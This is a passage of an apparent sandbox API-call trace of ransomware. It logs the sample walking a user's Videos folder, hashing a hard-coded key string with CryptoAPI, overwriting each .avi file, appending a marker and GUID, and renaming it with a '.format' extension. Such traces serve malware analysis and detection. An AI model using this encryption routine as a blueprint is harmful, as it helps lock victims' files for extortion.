0x31bee60 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2142e00, ftCreationTime.dwHighDateTime=0x1d4cf02, ftLastAccessTime.dwLowDateTime=0x86c0a50, ftLastAccessTime.dwHighDateTime=0x1d4d3fa, ftLastWriteTime.dwLowDateTime=0x86c0a50, ftLastWriteTime.dwHighDateTime=0x1d4d3fa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.111] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d3f700, ftCreationTime.dwHighDateTime=0x1d4d0bb, ftLastAccessTime.dwLowDateTime=0x296e4c10, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x296e4c10, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x17870, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mgLfL.avi", cAlternateFileName="")) returned 1 [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0069.111] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.111] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\mgLfL.avi") returned=".avi" [0069.111] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\mgLfL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\mglfl.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.112] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=96368) returned 1 [0069.112] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.114] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1784a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.114] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.115] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.115] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.115] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.115] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17870, lpOverlapped=0x0) returned 1 [0069.116] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.116] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.116] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.116] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.116] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0069.116] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.116] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.117] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.117] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.117] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.117] GetLastError () returned 0x0 [0069.117] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.117] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0069.117] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.117] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x17870) returned 0x32b2f40 [0069.117] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.117] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.117] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x1786b, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x1786b, lpOverlapped=0x0) returned 1 [0069.118] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0069.118] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17870, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.118] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.118] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.118] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.118] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.118] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.118] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.118] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.118] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.118] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.118] CloseHandle (hObject=0x5c8) returned 1 [0069.120] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2db8 [0069.120] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0069.120] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a2db8 | out: hHeap=0x5d0000) returned 1 [0069.120] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\mgLfL.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\mglfl.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\mgLfL.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\mglfl.avi.format")) returned 1 [0069.120] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.120] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.121] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.121] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e9ada0, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x2d084580, ftLastAccessTime.dwHighDateTime=0x1d4d068, ftLastWriteTime.dwLowDateTime=0x2d084580, ftLastWriteTime.dwHighDateTime=0x1d4d068, nFileSizeHigh=0x0, nFileSizeLow=0x2743, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uXJJkT2ouMZrco.avi", cAlternateFileName="UXJJKT~1.AVI")) returned 1 [0069.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac128 [0069.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0069.121] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0069.121] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\uXJJkT2ouMZrco.avi") returned=".avi" [0069.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\uXJJkT2ouMZrco.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\uxjjkt2oumzrco.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.122] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=10051) returned 1 [0069.122] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.124] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x271d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.124] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0069.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.125] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.125] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2743, lpOverlapped=0x0) returned 1 [0069.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.125] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0069.126] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.126] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.126] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.126] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.126] GetLastError () returned 0x0 [0069.126] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.126] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0069.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2740) returned 0x32aa8e0 [0069.126] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.126] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x273e, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x273e, lpOverlapped=0x0) returned 1 [0069.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0069.127] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2743, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0069.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.127] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0069.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0069.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.127] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.127] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.127] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.127] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.127] CloseHandle (hObject=0x5c8) returned 1 [0069.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0069.128] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0069.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0069.128] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\uXJJkT2ouMZrco.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\uxjjkt2oumzrco.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\Ep5U\\uXJJkT2ouMZrco.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\ep5u\\uxjjkt2oumzrco.avi.format")) returned 1 [0069.128] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.128] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185980 | out: hHeap=0x5d0000) returned 1 [0069.129] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5e9ada0, ftCreationTime.dwHighDateTime=0x1d4d300, ftLastAccessTime.dwLowDateTime=0x2d084580, ftLastAccessTime.dwHighDateTime=0x1d4d068, ftLastWriteTime.dwLowDateTime=0x2d084580, ftLastWriteTime.dwHighDateTime=0x1d4d068, nFileSizeHigh=0x0, nFileSizeLow=0x2743, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uXJJkT2ouMZrco.avi", cAlternateFileName="UXJJKT~1.AVI")) returned 0 [0069.129] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0069.130] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31eda08 [0069.130] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edb58 [0069.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0069.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\") returned="oD8Tz2pMYKkYRQ-RJT2T\\" [0069.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\") returned="Pmee\\" [0069.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\") returned="3ymkgwpUkCk\\" [0069.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0069.132] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.132] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.132] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.132] PathFindFileNameW (pszPath="") returned="" [0069.132] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\oD8Tz2pMYKkYRQ-RJT2T\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123a33a0, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xfb212260, ftLastAccessTime.dwHighDateTime=0x1d4cea7, ftLastWriteTime.dwLowDateTime=0xfb212260, 